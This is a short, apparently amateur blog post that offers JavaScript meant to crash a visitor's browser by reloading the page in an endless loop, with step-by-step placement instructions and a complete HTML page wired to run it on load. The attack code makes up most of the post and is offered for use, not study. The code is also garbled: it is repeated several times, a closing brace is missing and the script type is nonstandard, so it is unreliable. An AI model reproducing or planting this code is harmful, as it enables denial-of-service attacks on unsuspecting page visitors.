Hi this is very simple javascript code to crash the client browser. If you don't know about javascript ,visit www.w3schools.com(i learn lot of languages quickly there).
<script type='javascript'>
function crash()
{
while(1==1)
{
location.reload(true);
}
</script>
This code will reload the page again and again for infintive time and crash the browser.function crash()
{
while(1==1)
{
location.reload(true);
}
</script>
How to use it? Paste the above code in header section. When page is loaded,the page will reload. For that use onload handling in body as attribute. can't get you ?
Just see this example:
<body onload='crash()'>
The complete cod is:
<html>
<head>
<script type='javascript'>
function crash()
{
while(1==1)
{
location.reload(true);
}
</script>
</head>
<body onload='crash()'>
</body>
</html>
<head>
<script type='javascript'>
function crash()
{
while(1==1)
{
location.reload(true);
}
</script>
</head>
<body onload='crash()'>
</body>
</html>
0 comments :
Post a Comment